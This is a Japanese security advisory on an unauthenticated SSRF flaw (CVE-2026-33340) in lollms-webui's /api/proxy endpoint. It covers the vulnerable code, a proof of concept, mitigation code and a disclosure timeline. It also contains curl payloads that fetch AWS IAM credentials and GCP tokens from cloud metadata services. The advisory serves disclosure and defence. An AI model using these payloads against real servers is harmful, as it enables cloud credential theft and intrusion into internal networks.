
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-33340 |
| 脆弱性 | サーバーサイドリクエストフォージェリ (SSRF) |
| 影響を受ける製品 | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| 深刻度 | 緊急 — CVSS 9.1 |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: サーバーサイドリクエストフォージェリ (SSRF) |
| 影響を受けるコンポーネント | lollms_core/lollms/server/endpoints/lollms_apps.py |
| 脆弱なエンドポイント | /api/proxy |
| アドバイザリ | GHSA-mcwr-5469-pxj4 |
| NVD | NVD エントリ |
| SentinelOne | SentinelOne による分析 |
| 発見者 | Regaan R — ROT Independent Security Research Lab |
大規模言語・マルチモーダルシステム (Lord of Large Language and Multi modal Systems) の Web インターフェースである lollms-webui に、深刻なサーバーサイドリクエストフォージェリ (SSRF) 脆弱性が確認されました。@router.post("/api/proxy") エンドポイントは、認証されていない攻撃者 がサーバーに任意の GET リクエストを強制的に実行させることを可能にします。これは、内部サービスへのアクセス、ローカルネットワークのスキャン、または AWS/GCP IAM トークンなどの機密性の高いクラウドメタデータの外部送信に悪用される可能性があります。
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (443-450行)/api/proxyこの脆弱性は、lollms_apps.py の proxy 関数が認証や URL/ドメイン検証を一切実装していないために存在します。ユーザーから受け取った生の URL 文字列をそのまま非同期 HTTP クライアントに渡します。
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) や認証ミドルウェアを呼び出さないため、認証されていない任意のユーザーが呼び出すことができます。httpx.AsyncClient().get() に直接渡されます。{"content": response.text} によって呼び出し元に返されるため、完全なデータの外部送信が可能になります。echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
サーバーは内部サービスからファイルを取得し、その内容を攻撃者に返しました。
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
公開日時点で、パッチ適用済みの lollms-webui のバージョンがすでにリリースされています。
| 日付 | イベント |
|---|---|
| 2026-03-07 | GitHub Security Advisory を通じて脆弱性が発見・報告されました |
| 2026-03-24 | CVE-2026-33340 が NVD に公開されました |
| 2026-03-25 | NVD データベースエントリが更新されました |
| 2026-03-27 | SentinelOne が脆弱性分析を公開しました |
Regaan R (@regaan) 主任研究員 — ROT Independent Security Research Lab
この記事は教育および防御目的のみで公開されています。本脆弱性は GitHub Security Advisories を通じた責任ある開示によって報告されました。脆弱性をテストする前に、必ず適切な許可を取得してください。
この記事は CC BY 4.0 の下で公開されています。
| シナリオ | 説明 |
|---|
| クラウド認証情報の窃取 | クラウドプラットフォーム (AWS/GCP/Azure) 上の攻撃者は http://169.254.169.254/ にアクセスして、インスタンスメタデータ、IAM 認証情報、アクセストークンを取得できます — これによりクラウドアカウント全体が侵害されます。 |
| 内部ネットワークへのピボット | 攻撃者は、パブリックインターネットに公開されていない内部データベース、API、管理パネル、管理インターフェースを調査できます。 |
| ローカルホストサービスへのアクセス | 攻撃者は、ローカルトラフィックを暗黙的に信頼する localhost バインドのサービス (Redis、Elasticsearch、Docker API、データベースコンソール) に到達できます。 |
| 内部ポートスキャン | SSRF を利用して、レスポンスのタイミングとエラーメッセージを観察することで、内部ネットワーク上の開放ポートと実行中のサービスを列挙できます。 |
| データの外部送信 | サーバーのネットワーク到達範囲内で HTTP アクセス可能なデータはすべて読み取られ、攻撃者に返される可能性があります。 |